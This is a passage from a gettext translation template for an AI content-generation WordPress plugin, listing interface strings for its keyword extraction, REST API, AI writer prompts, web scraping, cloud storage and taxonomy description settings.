Links Keyword Extractor Settings:" msgstr "" #: res/aiomatic-main.php:4173 msgid "" "Select the method you want to use for automatic article keyword extraction." msgstr "" #: res/aiomatic-main.php:4177 msgid "Automatic Linking Keyword Extraction Method:" msgstr "" #: res/aiomatic-main.php:4247 msgid "" "Select the default model you want to use for the AI Linking Keyword " "Extraction." msgstr "" #: res/aiomatic-main.php:4251 msgid "AI Linking Keyword Extraction Model:" msgstr "" #: res/aiomatic-main.php:4278 #, php-format msgid "" "Set the prompt to be used for the AI Linking Keyword Extraction feature. You " "can use the following shortcodes here: %%content%% - the default value for " "this field is: Extract a comma-separated list of the most relevant single " "word keywords from the text, prioritizing specific references over general " "keywords. Add the highest priority to the most specific keyword that is " "still related to the main topic. The text is: %%content%%." msgstr "" #: res/aiomatic-main.php:4282 msgid "AI Linking Keyword Extraction Prompt:" msgstr "" #: res/aiomatic-main.php:4294 msgid "" "Select the language of the automatic keyword extractor, which is used for " "the internal/external linking feature of the plugin." msgstr "" #: res/aiomatic-main.php:4298 msgid "Built-in Keyword Extractor Language:" msgstr "" #: res/aiomatic-main.php:4396 msgid "" "Select in which parts of the posts published on your site do you want to " "search for related keywords. If you leave this field blank, the default " "values will be post title and content." msgstr "" #: res/aiomatic-main.php:4400 msgid "Search Keywords For Related Posts, In:" msgstr "" #: res/aiomatic-main.php:4427 msgid "" "The 'YouTube Embeds Settings' tab allows you to customize and manage the " "integration of YouTube videos on your WordPress site, providing options for " "embedding styles and playback controls." msgstr "" #: res/aiomatic-main.php:4430 msgid "Embedded YouTube Player Settings:" msgstr "" #: res/aiomatic-main.php:4437 msgid "Set the maximum width of the player in pixels. Default value is 580." msgstr "" #: res/aiomatic-main.php:4441 msgid "Player Max Width (Pixels):" msgstr "" #: res/aiomatic-main.php:4446 msgid "580" msgstr "" #: res/aiomatic-main.php:4458 msgid "Set the maximum height of the player in pixels. Default value is 380." msgstr "" #: res/aiomatic-main.php:4462 msgid "Player Max Height (Pixels):" msgstr "" #: res/aiomatic-main.php:4467 msgid "380" msgstr "" #: res/aiomatic-main.php:4478 msgid "" "Check this to enable the AI writer to improve the YouTube video keywords." msgstr "" #: res/aiomatic-main.php:4482 msgid "Improve YouTube Video Search Keywords Using AI:" msgstr "" #: res/aiomatic-main.php:4544 msgid "" "Select the default model you want to use for the YouTube Video search " "keyword extractor prompt." msgstr "" #: res/aiomatic-main.php:4548 msgid "YouTube Video Search Keyword Extractor Model:" msgstr "" #: res/aiomatic-main.php:4575 #, php-format msgid "" "Set the prompt to be used for the YouTube Video search keyword extractor. " "You can use the following shortcode: %%aiomatic_query%% - The default value " "for this settings field is: Using which keyword or search phrase should I " "search YouTube, to get the most relevant videos for this text? Provide a " "single variant, write only a single keyword or phrase, nothing else. The " "text is: \"%%aiomatic_query%%\"" msgstr "" #: res/aiomatic-main.php:4579 msgid "YouTube Video Search Keyword Extractor Prompt:" msgstr "" #: res/aiomatic-main.php:4590 msgid "" "The 'WP-CLI Settings' tab offers configuration options for the WP-CLI, " "allowing you to customize command-line interactions and automate AI " "generated content tasks within your WordPress site." msgstr "" #: res/aiomatic-main.php:4593 msgid "WP-CLI Settings:" msgstr "" #: res/aiomatic-main.php:4599 msgid "Do you want to enable Aiomatic's WP-CLI Integration?" msgstr "" #: res/aiomatic-main.php:4603 msgid "Enable Aiomatic WP-CLI Integration:" msgstr "" #: res/aiomatic-main.php:4612 msgid "Aiomatic WP-CLI Tutorial Video:" msgstr "" #: res/aiomatic-main.php:4621 msgid "" "The 'REST API Settings' tab offers configuration options for the REST API " "which can be provided by Aiomatic." msgstr "" #: res/aiomatic-main.php:4624 msgid "REST API Settings:" msgstr "" #: res/aiomatic-main.php:4630 msgid "Do you want to enable Aiomatic's REST API Feature?" msgstr "" #: res/aiomatic-main.php:4634 msgid "Enable Aiomatic REST API Feature:" msgstr "" #: res/aiomatic-main.php:4649 msgid "" "Set a list of private API keys (one per line), which will be used to allow " "access to the API provided by the plugin. If you leave this field blank, the " "API will be able to be called without an API key. If you set API keys here, " "they need to be added in the API request in this format: ?apikey=YOURKEY" msgstr "" #: res/aiomatic-main.php:4653 msgid "Whitelistest API Key List:" msgstr "" #: res/aiomatic-main.php:4659 msgid "Aiomatic REST API Tutorial Video:" msgstr "" #: res/aiomatic-main.php:4663 msgid "Aiomatic REST API Documentation:" msgstr "" #: res/aiomatic-main.php:4665 msgid "" "This documentation provides details about the Aiomatic REST API endpoints " "and how to use them." msgstr "" #: res/aiomatic-main.php:4668 msgid "Generate Image Endpoint" msgstr "" #: res/aiomatic-main.php:4671 res/aiomatic-main.php:4710 #: res/aiomatic-main.php:4748 res/aiomatic-main.php:4789 #: res/aiomatic-main.php:4826 msgid "Methods" msgstr "" #: res/aiomatic-main.php:4672 res/aiomatic-main.php:4711 #: res/aiomatic-main.php:4749 res/aiomatic-main.php:4790 #: res/aiomatic-main.php:4827 msgid "Supported methods:" msgstr "" #: res/aiomatic-main.php:4674 res/aiomatic-main.php:4713 #: res/aiomatic-main.php:4751 res/aiomatic-main.php:4792 #: res/aiomatic-main.php:4829 msgid "Parameters" msgstr "" #: res/aiomatic-main.php:4676 res/aiomatic-main.php:4715 #: res/aiomatic-main.php:4753 res/aiomatic-main.php:4794 #: res/aiomatic-main.php:4831 msgid "apikey" msgstr "" #: res/aiomatic-main.php:4676 res/aiomatic-main.php:4715 #: res/aiomatic-main.php:4753 res/aiomatic-main.php:4794 #: res/aiomatic-main.php:4831 msgid "(required if set in plugin settings): The API key for authentication." msgstr "" #: res/aiomatic-main.php:4677 res/aiomatic-main.php:4716 #: res/aiomatic-main.php:4754 msgid "prompt" msgstr "" #: res/aiomatic-main.php:4677 msgid "(required): The prompt text for image generation." msgstr "" #: res/aiomatic-main.php:4678 res/aiomatic-main.php:4717 #: res/aiomatic-main.php:4755 msgid "model" msgstr "" #: res/aiomatic-main.php:4678 msgid "" "(optional): The model to be used for image generation. Supported models are: " "dalle2, dalle3, dalle3hd" msgstr "" #: res/aiomatic-main.php:4679 res/aiomatic-main.php:4756 msgid "assistant" msgstr "" #: res/aiomatic-main.php:4679 msgid "" "(optional): An alternative to the model parameter. Enter the assistant ID " "returned by the Assistants Listing endpoint." msgstr "" #: res/aiomatic-main.php:4682 res/aiomatic-main.php:4720 #: res/aiomatic-main.php:4759 res/aiomatic-main.php:4797 #: res/aiomatic-main.php:4834 msgid "Example Request" msgstr "" #: res/aiomatic-main.php:4693 res/aiomatic-main.php:4731 #: res/aiomatic-main.php:4770 res/aiomatic-main.php:4806 #: res/aiomatic-main.php:4843 msgid "Example Response" msgstr "" #: res/aiomatic-main.php:4699 res/aiomatic-main.php:4737 #: res/aiomatic-main.php:4778 res/aiomatic-main.php:4815 #: res/aiomatic-main.php:4852 msgid "Error Responses" msgstr "" #: res/aiomatic-main.php:4706 msgid "Generate Embedding Endpoint" msgstr "" #: res/aiomatic-main.php:4716 msgid "(required): The prompt text for generating embeddings." msgstr "" #: res/aiomatic-main.php:4717 msgid "(optional): The model to be used for generating embeddings." msgstr "" #: res/aiomatic-main.php:4744 msgid "Generate Text Endpoint" msgstr "" #: res/aiomatic-main.php:4754 msgid "(required): The prompt text for generating AI content." msgstr "" #: res/aiomatic-main.php:4755 msgid "(optional): The model to be used for generating text." msgstr "" #: res/aiomatic-main.php:4756 msgid "(optional): An alternative to the model parameter." msgstr "" #: res/aiomatic-main.php:4785 msgid "List AI Assistants Endpoint" msgstr "" #: res/aiomatic-main.php:4822 msgid "List AI Models Endpoint" msgstr "" #: res/aiomatic-main.php:4864 msgid "" "The 'AI Writer Default Settings' tab allows you to set and adjust the " "default parameters for the AI content generation tools, ensuring consistency " "and alignment with your WordPress site's style and tone." msgstr "" #: res/aiomatic-main.php:4867 msgid "AI Post Writer Default Settings:" msgstr "" #: res/aiomatic-main.php:4921 msgid "" "Select the default model you want to use for the AI writer functionality of " "the plugin." msgstr "" #: res/aiomatic-main.php:4925 msgid "AI Post Writer Default Model:" msgstr "" #: res/aiomatic-main.php:4952 #, php-format msgid "" "Set the prompt to be used for the AI writer to create titles. You can use " "the following shortcodes here: %%post_title_idea%%, %%post_title%%, " "%%post_excerpt%%, %%post_content%%, %%post_type%% - default value is: Create " "a captivating and concise SEO title in English for your WordPress " "%%post_type%%: \"%%post_title_idea%%\". Boost its search engine visibility " "with relevant keywords for maximum impact." msgstr "" #: res/aiomatic-main.php:4956 msgid "AI Post Writer Default Title Prompt:" msgstr "" #: res/aiomatic-main.php:4967 #, php-format msgid "" "Set the prompt to be used for the AI writer to create SEO Meta Descriptions. " "You can use the following shortcodes here: %%post_title_idea%%, " "%%post_title%%, %%post_excerpt%%, %%post_content%%, %%post_type%% - default " "value is: Craft an enticing and succinct meta description in English for " "your WordPress %%post_type%%: \"%%post_title_idea%%\". Emphasize the notable " "features and advantages in just 155 characters, incorporating relevant " "keywords to optimize its SEO performance." msgstr "" #: res/aiomatic-main.php:4971 msgid "AI Post Writer Default SEO Meta Description Prompt:" msgstr "" #: res/aiomatic-main.php:4982 #, php-format msgid "" "Set the prompt to be used for the AI writer to create Content. You can use " "the following shortcodes here: %%post_title_idea%%, %%post_title%%, " "%%post_excerpt%%, %%post_content%%, %%post_type%% - default value is: Create " "a captivating and comprehensive English description for your WordPress " "%%post_type%%: \"%%post_title_idea%%\". Dive into specific details, " "highlighting its unique features of this subject, if possible, benefits, and " "the value it brings. Craft a compelling narrative around the %%post_type%% " "that captivates the audience. Use HTML for formatting, include unnumbered " "lists and bold. Writing Style: Creative. Tone: Neutral." msgstr "" #: res/aiomatic-main.php:4986 msgid "AI Post Writer Default Content Prompt:" msgstr "" #: res/aiomatic-main.php:4997 #, php-format msgid "" "Set the prompt to be used for the AI writer to create Excerpt. You can use " "the following shortcodes here: %%post_title_idea%%, %%post_title%%, " "%%post_excerpt%%, %%post_content%%, %%post_type%% - default value is: Write " "a captivating and succinct English summary for the WordPress %%post_type%%: " "\"%%post_title_idea%%\", accentuating its pivotal features, advantages, and " "distinctive qualities." msgstr "" #: res/aiomatic-main.php:5001 msgid "AI Post Writer Default Excerpt Prompt:" msgstr "" #: res/aiomatic-main.php:5012 #, php-format msgid "" "Set the prompt to be used for the AI writer to create Tags. You can use the " "following shortcodes here: %%post_title_idea%%, %%post_title%%, " "%%post_excerpt%%, %%post_content%%, %%post_type%% - default value is: " "Suggest a series of pertinent keywords in English for your WordPress " "%%post_type%%: \"%%post_title_idea%%\". These keywords should be closely " "connected to the %%post_type%%, optimizing its visibility. Please present " "the keywords in a comma-separated format without using symbols like -, #, " "etc." msgstr "" #: res/aiomatic-main.php:5016 msgid "AI Post Writer Default Tags Prompt:" msgstr "" #: res/aiomatic-main.php:5027 msgid "" "The 'Web Scraping Settings' tab provides tools and options to configure and " "manage web scraping activities, enabling efficient data extraction and " "content sourcing for your WordPress site." msgstr "" #: res/aiomatic-main.php:5040 #, php-format msgid "" "Set the path on your local server of the phantomjs executable. If you leave " "this field blank, the default 'phantomjs' call will be used. How to install PhantomJs?" msgstr "" #: res/aiomatic-main.php:5044 msgid "PhantomJS Path On Server:" msgstr "" #: res/aiomatic-main.php:5054 msgid "" "INFO: PhantomJS not found - please install it on your server or configure " "the path to it in plugin's 'Settings'!" msgstr "" #: res/aiomatic-main.php:5054 msgid "How to install PhantomJs?" msgstr "" #: res/aiomatic-main.php:5058 msgid "" "INFO: PhantomJS cannot run - shell exec is not enabled on your server. " "Please enable it and retry using this feature of the plugin." msgstr "" #: res/aiomatic-main.php:5062 msgid "" "INFO: PhantomJS cannot run - shell exec is not allowed to run on your server " "(in disable_functions list in php.ini). Please enable it and retry using " "this feature of the plugin." msgstr "" #: res/aiomatic-main.php:5066 msgid "INFO: PhantomJS Test Successful" msgstr "" #: res/aiomatic-main.php:5072 msgid "INFO: PhantomJS OK" msgstr "" #: res/aiomatic-main.php:5080 msgid "Path to phantomjs" msgstr "" #: res/aiomatic-main.php:5090 msgid "" "Set the timeout (in milliseconds) for every headless browser running. I " "recommend that you leave this field at it's default value (30000). If you " "leave this field blank, the default value will be used." msgstr "" #: res/aiomatic-main.php:5094 msgid "Timeout for Headless Browser Execution:" msgstr "" #: res/aiomatic-main.php:5099 msgid "Input headless browser timeout in milliseconds" msgstr "" #: res/aiomatic-main.php:5109 msgid "" "Input a separator for multiple content extracted from multiple HTML entities " "that match the same class defined for crawling. Default is a new line." msgstr "" #: res/aiomatic-main.php:5113 msgid "Multiple Crawled Content Separator:" msgstr "" #: res/aiomatic-main.php:5116 msgid "Content separator" msgstr "" #: res/aiomatic-main.php:5122 msgid "Cloud Storage Options" msgstr "" #: res/aiomatic-main.php:5124 msgid "" "The 'Cloud Storage' tab allows you to manage and configure cloud storage " "options for securely saving and accessing AI generated images and videos." msgstr "" #: res/aiomatic-main.php:5128 msgid "Image Storage Options:" msgstr "" #: res/aiomatic-main.php:5136 msgid "" "Click this option to enable integration with the 'Featured Image from URL' " "plugin - https://wordpress.org/plugins/featured-image-from-url/ (you need to " "install and activate this plugin). This will not copy featured images of " "created posts locally, but will link them directly from their source." msgstr "" #: res/aiomatic-main.php:5140 msgid "Enable 'Featured Image from URL' Integration:" msgstr "" #: res/aiomatic-main.php:5145 msgid "" "The 'Featured Image from URL' plugin is not active. Please install it and " "activate it: " msgstr "" #: res/aiomatic-main.php:5163 msgid "" "Do you want to copy royalty free or AI generated images from posts content, " "from their original location to a local/remote server?" msgstr "" #: res/aiomatic-main.php:5167 msgid "Copy Royalty Free / AI Images From Post Content:" msgstr "" #: res/aiomatic-main.php:5235 msgid "Do you want to disable automatic compression of copied images?" msgstr "" #: res/aiomatic-main.php:5239 msgid "Disable Automatic Image Compression For Copied Images:" msgstr "" #: res/aiomatic-main.php:5254 msgid "" "Select the quality of the compressed images. Accepted values: 1-100. 1 is " "lowest quality, 100 is highest quality. If you want to disable this feature, " "leave this field blank. This feature will work only if you copy AI generated " "images from their original sources. Default is 75." msgstr "" #: res/aiomatic-main.php:5258 msgid "Image Compression Quality:" msgstr "" #: res/aiomatic-main.php:5273 msgid "" "Exciting news for Aiomatic plugin users: You can now store royalty-free or " "AI-generated images in Amazon S3 with Aiomatic's new extension! Get it here: " msgstr "" #: res/aiomatic-main.php:5273 msgid "Aiomatic Extension: Amazon S3 Storage" msgstr "" #: res/aiomatic-main.php:5281 msgid "Amazon S3 Settings:" msgstr "" #: res/aiomatic-main.php:5290 msgid "" "Select the folder name from Amazon S3 where to save the video files. If you " "leave this blank, the videos will be uploaded to the root folder of your " "Amazon S3. The plugin will create the directory you define here, if it is " "not already existing." msgstr "" #: res/aiomatic-main.php:5294 msgid "Amazon S3 Directory:" msgstr "" #: res/aiomatic-main.php:5306 msgid "" "Input the bucket name from Amazon S3. You can create your Amazon Bucket, " "here: " msgstr "" #: res/aiomatic-main.php:5310 msgid "Amazon Bucket Name:" msgstr "" #: res/aiomatic-main.php:5322 msgid "Input the bucket region from Amazon S3." msgstr "" #: res/aiomatic-main.php:5326 msgid "Amazon Bucket Region:" msgstr "" #: res/aiomatic-main.php:5330 msgid "US West 1 (N. California)" msgstr "" #: res/aiomatic-main.php:5331 msgid "US West 2 (Oregon)" msgstr "" #: res/aiomatic-main.php:5332 res/aiomatic-main.php:5436 msgid "US East 1 (N. Virginia)" msgstr "" #: res/aiomatic-main.php:5333 msgid "US East 2 (Ohio)" msgstr "" #: res/aiomatic-main.php:5334 msgid "South America 1 (Sao Paulo)" msgstr "" #: res/aiomatic-main.php:5335 msgid "Middle East (Bahrain)" msgstr "" #: res/aiomatic-main.php:5336 msgid "EU Central 1 (Frankfurt)" msgstr "" #: res/aiomatic-main.php:5337 msgid "EU North 1 (Stockholm)" msgstr "" #: res/aiomatic-main.php:5338 msgid "EU West 1 (Ireland)" msgstr "" #: res/aiomatic-main.php:5339 msgid "EU West 2 (London)" msgstr "" #: res/aiomatic-main.php:5340 msgid "EU West 3 (Paris)" msgstr "" #: res/aiomatic-main.php:5341 msgid "Canada (Central)" msgstr "" #: res/aiomatic-main.php:5342 res/aiomatic-main.php:5443 msgid "Asia Pacific 1 (Tokyo)" msgstr "" #: res/aiomatic-main.php:5343 res/aiomatic-main.php:5444 msgid "Asia Pacific 2 (Sydney)" msgstr "" #: res/aiomatic-main.php:5344 res/aiomatic-main.php:5445 msgid "Asia Pacific 3 (Singapore)" msgstr "" #: res/aiomatic-main.php:5345 msgid "Asia Pacific 4 (Seoul)" msgstr "" #: res/aiomatic-main.php:5346 msgid "Asia Pacific 5 (Mumbai)" msgstr "" #: res/aiomatic-main.php:5347 msgid "Asia Pacific 6 (Hong Kong)" msgstr "" #: res/aiomatic-main.php:5357 msgid "Input the API key for your Amazon S3 client. Details: " msgstr "" #: res/aiomatic-main.php:5361 msgid "Amazon S3 API Key:" msgstr "" #: res/aiomatic-main.php:5373 msgid "Input the API secret for your Amazon S3 client. Details: " msgstr "" #: res/aiomatic-main.php:5377 msgid "Amazon S3 API Secret:" msgstr "" #: res/aiomatic-main.php:5385 msgid "Wasabi Settings:" msgstr "" #: res/aiomatic-main.php:5394 msgid "" "Select the folder name from Wasabi where to save the video files. If you " "leave this blank, the videos will be uploaded to the root folder of your " "Wasabi. The plugin will create the directory you define here, if it is not " "already existing." msgstr "" #: res/aiomatic-main.php:5398 msgid "Wasabi Directory:" msgstr "" #: res/aiomatic-main.php:5410 msgid "" "Input the Bucket Name from Wasabi - You can create your Wasabi bucket, here: " msgstr "" #: res/aiomatic-main.php:5414 msgid "Wasabi Bucket Name:" msgstr "" #: res/aiomatic-main.php:5426 msgid "Input the bucket region from Wasabi." msgstr "" #: res/aiomatic-main.php:5430 msgid "Wasabi Bucket Region:" msgstr "" #: res/aiomatic-main.php:5434 msgid "US West 1 (Oregon)" msgstr "" #: res/aiomatic-main.php:5435 msgid "US Central 1 (Texas)" msgstr "" #: res/aiomatic-main.php:5437 msgid "US East 2 (N. Virginia)" msgstr "" #: res/aiomatic-main.php:5438 msgid "EU Central 1 (Amsterdam)" msgstr "" #: res/aiomatic-main.php:5439 msgid "EU central 2 (Frankfurt)" msgstr "" #: res/aiomatic-main.php:5440 msgid "EU West 1 (London)" msgstr "" #: res/aiomatic-main.php:5441 msgid "EU West 2 (Paris)" msgstr "" #: res/aiomatic-main.php:5442 msgid "Canada (Toronto)" msgstr "" #: res/aiomatic-main.php:5446 msgid "Asia Pacific 4 (Osaka)" msgstr "" #: res/aiomatic-main.php:5456 msgid "Input the API key for your Wasabi client. Details: " msgstr "" #: res/aiomatic-main.php:5460 msgid "Wasabi API Key:" msgstr "" #: res/aiomatic-main.php:5472 msgid "Input the API secret for your Wasabi client. Details: " msgstr "" #: res/aiomatic-main.php:5476 msgid "Wasabi API Secret:" msgstr "" #: res/aiomatic-main.php:5484 msgid "CloudFlare R2 Settings:" msgstr "" #: res/aiomatic-main.php:5493 msgid "" "Select the folder name from CloudFlare R2 where to save the video files. If " "you leave this blank, the videos will be uploaded to the root folder of your " "CloudFlare R2. The plugin will create the directory you define here, if it " "is not already existing." msgstr "" #: res/aiomatic-main.php:5497 msgid "CloudFlare R2 Directory:" msgstr "" #: res/aiomatic-main.php:5509 msgid "" "Input your Account ID from CloudFlare R2. You can create CloudFlare R2 " "account ID by copying the ID from the right of the 'Overview' page from the " "CloudFlare R2 Control Panel." msgstr "" #: res/aiomatic-main.php:5513 msgid "CloudFlare R2 Account ID:" msgstr "" #: res/aiomatic-main.php:5525 msgid "Input your CloudFlare R2 Bucket Name. " msgstr "" #: res/aiomatic-main.php:5529 msgid "CloudFlare R2 Bucket Name:" msgstr "" #: res/aiomatic-main.php:5541 msgid "" "Input the API key for your CloudFlare R2 client. You can create CloudFlare " "R2 API credentials by clicking the 'Manage R2 API Tokens' link on the right " "of the 'Overview' page from the CloudFlare R2 Control Panel." msgstr "" #: res/aiomatic-main.php:5545 msgid "CloudFlare R2 API Key:" msgstr "" #: res/aiomatic-main.php:5557 msgid "" "Input the API secret for your CloudFlare R2 client. You can create " "CloudFlare R2 API credentials by clicking the 'Manage R2 API Tokens' link on " "the right of the 'Overview' page from the CloudFlare R2 Control Panel." msgstr "" #: res/aiomatic-main.php:5561 msgid "CloudFlare R2 API Secret:" msgstr "" #: res/aiomatic-main.php:5569 msgid "Digital Ocean Spaces Settings:" msgstr "" #: res/aiomatic-main.php:5578 msgid "" "Select the folder name from Digital Ocean Spaces where to save the video " "files. If you leave this blank, the videos will be uploaded to the root " "folder of your Digital Ocean Spaces. The plugin will create the directory " "you define here, if it is not already existing." msgstr "" #: res/aiomatic-main.php:5582 msgid "Digital Ocean Spaces Directory:" msgstr "" #: res/aiomatic-main.php:5594 msgid "" "Input the Origin Endpoint from Digital Ocean Spaces. This should be in the " "following format: https://..digitaloceanspaces." "com - You can create your Digital Ocean Spaces bucket, here: " msgstr "" #: res/aiomatic-main.php:5598 msgid "Digital Ocean Spaces Origin Endpoint:" msgstr "" #: res/aiomatic-main.php:5610 msgid "Input the API key for your Digital Ocean Spaces client. Details: " msgstr "" #: res/aiomatic-main.php:5614 msgid "Digital Ocean Spaces API Key:" msgstr "" #: res/aiomatic-main.php:5626 msgid "Input the API secret for your Digital Ocean Spaces client. Details: " msgstr "" #: res/aiomatic-main.php:5630 msgid "Digital Ocean Spaces API Secret:" msgstr "" #: res/aiomatic-main.php:5636 msgid "Amazon S3 Tutorial Video:" msgstr "" #: res/aiomatic-main.php:5640 msgid "Other Cloud Storage Options Tutorial Video:" msgstr "" #: res/aiomatic-main.php:5649 msgid "Advanced AI API Settings" msgstr "" #: res/aiomatic-main.php:5651 msgid "" "The 'Advanced AI API Settings' tab enables you to customize and control " "advanced AI-driven features by adjusting API configurations and parameters " "for enhanced functionality of the plugin." msgstr "" #: res/aiomatic-main.php:5654 msgid "Textual AI Models Advanced Settings:" msgstr "" #: res/aiomatic-main.php:5661 msgid "" "If specified, the AI API will make a best effort to sample " "deterministically, such that repeated requests with the same seed and " "parameters should return the same result. Determinism is not guaranteed, as " "changes can be made to the API in the backend, over longer periods of time." msgstr "" #: res/aiomatic-main.php:5665 msgid "Seed For AI Writer (To Make Responses Deterministic):" msgstr "" #: res/aiomatic-main.php:5670 msgid "AI Seed" msgstr "" #: res/aiomatic-main.php:5682 msgid "" "Set a hardcoded context window limit for the gpt-3.5-turbo-1106 model. If " "you don't set this, the default 16385 token limit will be used." msgstr "" #: res/aiomatic-main.php:5686 msgid "Context Window Limit For gpt-3.5-turbo-1106:" msgstr "" #: res/aiomatic-main.php:5698 msgid "" "Set a hardcoded context window limit for the gpt-4-1106(-preview) model. If " "you don't set this, the default 128000 token limit will be used." msgstr "" #: res/aiomatic-main.php:5702 msgid "Context Window Limit For gpt-4-1106:" msgstr "" #: res/aiomatic-main.php:5714 msgid "" "Set a hardcoded context window limit for the Claude models. If you don't set " "this, the default 100000 token limit will be used." msgstr "" #: res/aiomatic-main.php:5718 msgid "Context Window Limit For Claude Models:" msgstr "" #: res/aiomatic-main.php:5730 msgid "" "Set a hardcoded context window limit for the Claude 200k models. If you " "don't set this, the default 200000 token limit will be used." msgstr "" #: res/aiomatic-main.php:5734 msgid "Context Window Limit For Claude 200k Models:" msgstr "" #: res/aiomatic-main.php:5739 msgid "AI Assistants Advanced Settings:" msgstr "" #: res/aiomatic-main.php:5746 msgid "" "Set the maximum number of prompt tokens which AI Assistants are allowed to " "use. Use this settings with caution, incomplete Assistant messages may " "result if this is used." msgstr "" #: res/aiomatic-main.php:5750 msgid "AI Assistants Maximum Prompt Token Count:" msgstr "" #: res/aiomatic-main.php:5755 msgid "Max Prompt Token Count" msgstr "" #: res/aiomatic-main.php:5767 msgid "" "Set the maximum number of completion tokens which AI Assistants are allowed " "to use. Use this settings with caution, incomplete Assistant messages may " "result if this is used." msgstr "" #: res/aiomatic-main.php:5771 msgid "AI Assistants Maximum Completion Token Count:" msgstr "" #: res/aiomatic-main.php:5776 msgid "Max Completion Token Count" msgstr "" #: res/aiomatic-main.php:5786 msgid "HuggingFace Models:" msgstr "" #: res/aiomatic-main.php:5791 msgid "" "You need to add a HuggingFace API key in plugin settings to use this feature." msgstr "" #: res/aiomatic-main.php:5804 msgid "This is the ID of the model." msgstr "" #: res/aiomatic-main.php:5814 msgid "Do you want to delete this model?" msgstr "" #: res/aiomatic-main.php:5820 msgid "HuggingFace Model Name" msgstr "" #: res/aiomatic-main.php:5824 msgid "The name of the model from HuggingFace." msgstr "" #: res/aiomatic-main.php:5845 msgid "Please insert the model name" msgstr "" #: res/aiomatic-main.php:5849 msgid "Save Models" msgstr "" #: res/aiomatic-main.php:5859 msgid "" "The 'AI Image Selector Settings' tab enables you to configure and customize " "AI-driven tools that help select the most relevant and impactful images for " "your WordPress site's content." msgstr "" #: res/aiomatic-main.php:5862 msgid "Default Featured Image Optimizations:" msgstr "" #: res/aiomatic-main.php:5868 msgid "" "If you entered a list of images in the 'Default Featured Image List' " "settings field, you can set up the plugin to ask the AI to select the image " "which matches the best the title of the published post." msgstr "" #: res/aiomatic-main.php:5872 msgid "Use AI To Select Default Featured Image For Posts:" msgstr "" #: res/aiomatic-main.php:5934 msgid "" "Select the default model you want to use for the AI Default Featured Image " "Selector prompt." msgstr "" #: res/aiomatic-main.php:5938 msgid "AI Default Featured Image Selector Model:" msgstr "" #: res/aiomatic-main.php:5965 #, php-format msgid "" "Set the prompt to be used for the AI Default Featured Image Selector. You " "can use the following shortcodes: %%post_title%%, %%image_list%% - The " "default value for this settings field is: Select an image URL, based on its " "file name, which matches the best the post, based on its title. If no " "matching image can be selected, pick a random one from the list. Respond " "only with the URL of the selected image and with nothing else. The title of " "the post is: \"%%post_title%%\" The image URL list is: %%image_list%%" msgstr "" #: res/aiomatic-main.php:5969 msgid "AI Default Featured Image Selector:" msgstr "" #: res/aiomatic-main.php:5981 msgid "" "The 'AI Taxonomy Description Writer' tab offers automated tools to create " "and refine descriptive content for categories and tags, enhancing the " "organization and SEO of your WordPress site." msgstr "" #: res/aiomatic-main.php:5983 msgid "AI Taxonomy Description Writer Settings:" msgstr "" #: res/aiomatic-main.php:6037 msgid "" "Select the default model you want to use for the AI Taxonomy Description " "Writer." msgstr "" #: res/aiomatic-main.php:6041 msgid "AI Taxonomy Description Writer Model:" msgstr "" #: res/aiomatic-main.php:6068 #, php-format msgid "" "Set the prompt to be used for the AI Taxonomy Description Writer feature. " "You can use the following shortcodes here: %%term_name%%, %%term_id%%, " "%%term_slug%%, %%term_description%%, %%term_taxonomy_name%%, " "%%term_taxonomy_id%% - default is: Write a description for a WordPress " "%%term_taxonomy_name%% with the following title: \"%%term_name%%\"" msgstr "" #: res/aiomatic-main.php:6072 msgid "AI Taxonomy Description Writer Prompt:" msgstr "" #: res/aiomatic-main.php:6078 msgid "AI Taxonomy SEO Meta Writer Settings:" msgstr "" #: res/aiomatic-main.php:6085 msgid "" "Select if you want to enable also SEO meta description writing for the " "taxonomies. Note that this will work only for taxonomies automatically " "processed using the 'Enable Automatic Processing Of All Newly Added " "Taxonomies For' settings field from above. Also, note that you will need to " "have a SEO plugin installed on your site, from the following list: Yoast " "SEO, All In One SEO, Rank Math." msgstr "" #: res/aiomatic-main.php:6089 msgid "Enable SEO Meta Description Writing:" msgstr "" #: res/aiomatic-main.php:6104 msgid "Copy The Taxonomy Description" msgstr "" #: res/aiomatic-main.php:6109 msgid "Write Separate SEO Description" msgstr "" #: res/aiomatic-main.php:6166 msgid "" "Select the default model you want to use for the AI Taxonomy SEO Description " "Writer. This will set the SEO description for the following SEO plugins: " "Yoast SEO, All In One SEO, Rank Math." msgstr "" #: res/aiomatic-main.php:6170 msgid "AI Taxonomy SEO Description Writer Model:" msgstr "" #: res/aiomatic-main.php:6197 #, php-format msgid "" "Set the prompt to be used for the AI Taxonomy SEO Description Writer " "feature. You can use the following shortcodes here: %%term_name%%, " "%%term_id%%, %%term_slug%%, %%term_description%%, %%term_taxonomy_name%%, " "%%term_taxonomy_id%% - default is: Write a description for a WordPress " "%%term_taxonomy_name%% with the following title: \"%%term_name%%\". This " "will set the SEO description for the following SEO plugins: Yoast SEO, All " "In One SEO, Rank Math." msgstr "" #: res/aiomatic-main.php:6201 msgid "AI Taxonomy SEO Description Writer Prompt:" msgstr "" #: res/aiomatic-main.php:6207 msgid "Automatic Taxonomy Processing At Creation:" msgstr "" #: res/aiomatic-main.php:6214 msgid "" "Select if you want to enable automatic processing and description creation " "using AI of all newly added taxonomies for the taxonomy names you select " "(which don't already have a description set when they are created)." msgstr "" #: res/aiomatic-main.php:6218 msgid "Enable Automatic Processing Of All Newly Added Taxonomies For:" msgstr "" #: res/aiomatic-main.php:6240 msgid "Existing Taxonomy AI Description Writer:" msgstr "" #: res/aiomatic-main.php:6247 msgid "" "Select the taxonomies which you want to be affected by the manual taxonomy " "writing process." msgstr "" #: res/aiomatic-main.php:6251 msgid "Manually Run Taxonomy Description Writing On:" msgstr "" #: res/aiomatic-main.php:6277 msgid "Set the maximum number of taxonomies to be processed at each run." msgstr "" #: res/aiomatic-main.php:6281 msgid "Maximum Number Of Taxonomies To Process:" msgstr "" #: res/aiomatic-main.php:6295 res/aiomatic-main.php:6633 msgid "" "Check this to force the plugin to make draft posts before they would be " "fully published. This can help you you use other third party plugins with " "the automatically published posts." msgstr "" #: res/aiomatic-main.php:6299 msgid "Process Also Taxonomies Which Already Have A Description:" msgstr "" #: res/aiomatic-main.php:6314 msgid "" "Do you want to run manual writing of description for existing taxonomies, " "now? Please check configuration from below before clicking 'Run Taxonomy " "Desciption Writing'." msgstr "" #: res/aiomatic-main.php:6318 msgid "Manually Run Taxonomy Description Writing Now:" msgstr "" #: res/aiomatic-main.php:6325 msgid "Run Taxonomy Desciption Writing" msgstr "" #: res/aiomatic-main.php:6330 res/aiomatic-more.php:87 msgid "AI Taxonomy Description Writer Tutorial Video:" 